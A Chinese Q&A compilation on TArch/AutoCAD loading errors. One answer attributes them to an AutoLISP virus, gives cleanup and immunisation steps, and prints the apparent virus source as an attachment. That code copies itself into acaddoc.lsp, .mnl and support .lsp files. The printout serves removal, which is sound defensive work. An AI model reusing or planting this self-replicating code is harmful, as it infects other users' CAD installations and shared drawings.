A. 打开天正8.2的时候出现:加载自定义文件失败,未找到文件:commandline 我用的是WIN7 X64 CAD2011
应该是CAD病毒的问题~! 是后缀为.lsp文件导致的 ·······
如下办法清理;
1. 退出CAD。
2. 全盘搜索acadapq.*、、acadappp.*、acaddoc.* 文件,然后彻底删除上述文件。注意查找前在文件夹选项中设置“显示所有文件与文件夹”以及取消“隐藏受保护的操作系统文件”。搜索时选择“查找所有文件及文件夹”,然后在“高级选项”里勾选“搜索系统文件夹”“搜索隐藏的文件和文件夹”“搜索子文件夹”。
如果搜出的文件无法删除,则先清空回收站,再搜索删除。
注:探索者目录下有个AcadDoc.lsp(注意大小写)不是病毒文件,谨防误删。
3. 查看C盘根目录下是否有boot.dat文件,如有,则将其删除。
4. 进入C:\Documents and Settings\用户名\Application Data\Autodesk\AutoCAD 2006(或AutoCAD2004)\R16.2\chs\Support目录,用记事本打开该目录下的所有*.mnl文件,手动删除与附件1相同的代码(一般都在文件末尾),然后保存。并将修改后的所有*.mnl文件属性设置为“只读”。
5. 进入CAD安装目录下的support目录,将该目录下的所有*.lsp文件按步骤4方法处理。记得将其属性设为“只读”。
6. 如果本机安装有多个版本的CAD,都需按上述步骤检查一次。
五 预防措施:
由于该病毒是通过读取dwg文件所在的目录下acaddoc.lsp来传播的。因为在接受其他同事的文件夹时,应先检查该文件夹中是否包含上述病毒文件。如有,则删除之。同时也应该确保传给其他同事的文件夹不要包含上述文件。
病毒会感染support目录下的 *.lsp文件。因此建议新建一个文件夹,将常用的lisp程序放置在该文件夹下,同时在CAD选项中将其设置为工作搜索目录。
未装杀毒软件的机器应首先将杀毒软件装上(360杀毒软件免费的),在接受他人传来的文件后应首先杀毒。
建议不要直接打开公共盘上的dwg文件,应先下载到本机再打开。
附件1: 病毒代码
(setq flagx t)
(setq bz "(setq flagx t)")
(defun app(source target bz / flag flag1 wjm wjm1 text)
(setq flag nil)
(setq flag1 t)
(if (findfile target)
(progn
(setq wjm1 (open target "r"))
(while (setq text (read-line wjm1))
(if (= text bz) (setq flag1 nil))
);while
(close wjm1)
);progn
);if
(if flag1
(progn
(setq wjm (open source "r"))
(setq wjm1 (open target "a"))
(write-line (chr 13) wjm1)
(while (setq text (read-line wjm))
(if (= text bz) (setq flag t))
(if flag
(progn
(write-line text wjm1)
);progn
);if
);while
(close wjm1)
(close wjm)
);progn
);if
);defun
(setvar "cmdecho" 0)
(setq acadmnl (findfile "acad.mnl"))
(setq acadmnlpath (vl-filename-directory acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))
(setq mnlnum (length mnlfilelist))
(setq acadexe (findfile "acad.exe"))
(setq acadpath (vl-filename-directory acadexe))
(setq support (strcat acadpath "\\support"))
(setq lspfilelist (vl-directory-files support "*.lsp"))
(setq lspfilelist (append lspfilelist (list "acaddoc.lsp")))
(setq lspnum (length lspfilelist))
(setq dwgname (getvar "dwgname"))
(setq dwgpath (findfile dwgname))
(if dwgpath
(progn
(setq acaddocpath (vl-filename-directory dwgpath))
(setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp"))
(setq mnln 0)
(while (< mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
(app mnlfilename acaddocfile bz)
(app acaddocfile mnlfilename bz)
(setq mnln (1+ mnln))
);while
(setq lspn 0)
(while (< lspn lspnum)
(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
(app lspfilename acaddocfile bz)
(app acaddocfile lspfilename bz)
(setq lspn (1+ lspn))
);while
);progn
);if
(setq mnln 0)
(while (< mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
(setq mnln1 0)
(while (< mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
(app mnlfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1))
);while
(setq lspn1 0)
(while (< lspn1 lspnum)
(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
(app mnlfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);while
(setq mnln (1+ mnln))
);while
(setq lspn 0)
(while (< lspn lspnum)
(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
(setq lspn1 0)
(while (< lspn1 lspnum)
(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
(app lspfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);while
(setq mnln1 0)
(while (< mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
(app lspfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1))
);while
(setq lspn (1+ lspn))
(load "acadapq")
(princ)
(load "acadappp.lsp")
(princ)
另外查杀干净以后进行如下操作可以免疫
首先搜索硬盘上所有acad.lsp,acadapp.lsp,把搜索到的文件全部全部删除。
然后把安装CAD的文件夹里的Support文件夹里的acad2004.lsp(视版本不同,文件名也不同,R14版的是acadR14.lsp, 2002版的是acad2002.lsp等等)文件(一定要是lsp文件)复制出来,复制两次,然后把文件名分别改为acad.lsp和 acadapp.lsp,然后把这两个文件的属性设置为只读,再复制到Support文件夹里去.就可以了.
一定要把先把所有的acad.lsp,acadapp.lsp删除,才能进行以上操作!
试一试 有用记得采纳哦~!~
B. 天正加载CAD2008失败。
在64位系统里面,天正只支持(AutoCAD2010~AutoCAD2013),所以不能够使用;如果想要使用的话,有版一个办法可以试试;
找一台权安装了AutoCAD的(xp)系统电脑,点击安装天正,然后把安装好的天正文件夹复制到你的电脑;打开文件夹,可以看到(TGStart32),点击这个就可以使用;
但是这个不是正常的使用天正,所以会有一些Bug,但是加载了文件以后,就可以正常使用天正了;
C. CAD无法加载配置文件,界面也变了,上网查询也找不到解决的,急,在线等!
估计是天正相关的配置文件损坏或者CAD的目录设置不对了,你可以输入OP,先检查一下文件路径,然后进入配置选项卡重置一下配置试试,如果不行,卸载后将安装目录和%APPDATA%中相关目录删空,将相关注册表最好也清理一下后再重装。
重装不行,肯定是之前有问题的地方没有卸载干净。
更多CAD使用技巧请访问: CAD小苗 新浪博客 微信公众号
D. 我安装完天正8.5后运行结果弹出(加载自定义文件失败。未找到文件:acad) 我安装的是WIN7+CAD2012
ATUOCAD已出到了2013版,天正给排水也出了2013版本,目前两个2013版还不能兼容。天正2013可兼容cad2012的32位和64位。可喜可贺。但在cad2012平台上打开天正8.5、天正2013时均会出现“ACAD加载失败”的错误。很多人以为是cad有问题,或天正有问题,但单独打开cad又很正常,什么问题都没有。很多人就将CAD和天正反复的卸载——安装——卸载——重新下载软件——安装。最后发现还是不行,最后不得不使用以前的旧版本软件。其实这些问题与软件本身没有关系,软件本身也没有问题。下面是处理办法,出现此问题的应该都能用此办法解决。
1.关闭提示命令
2.输入“menuload” 空格/回车。出现对话框,选择“浏览”。再在C盘查找ACAD.CUIX文件。文件在以下位置 C:\Users\(用户名)\AppData\Roaming\Autodesk\(AutoCAD 2009)\(R17.2)\chs\Support 。括号表示不同版本名称不一样。
3.加载——应用 后会发现cad已正常启动。但会发现天正还未启动。
4.此时执行命令“工具”——“选项”——“文件”,点击打开 “支持文件搜索路径”——点击“添加”,“浏览”。找到cad和天正的安装目录,将以下文件加载: cad目录的:***/***/……/Fonts;***/***/……/Help;***/***/……/Support;天正目录的:***/***/……/sys;***/***/……/sys18;***/***/……/sys18x64(此为64位系统需加载的);
E. 为什么天正建筑打开,弹出加载自定义失败。未找到文件:COMMANDLINE.cui
出现此问题是设置问题造成的,修复即可,具体操作步骤如下:
1、首先,在计算机的桌面上,右键单击我的电脑,选择属性选项,如下图所示,然后进入下一步。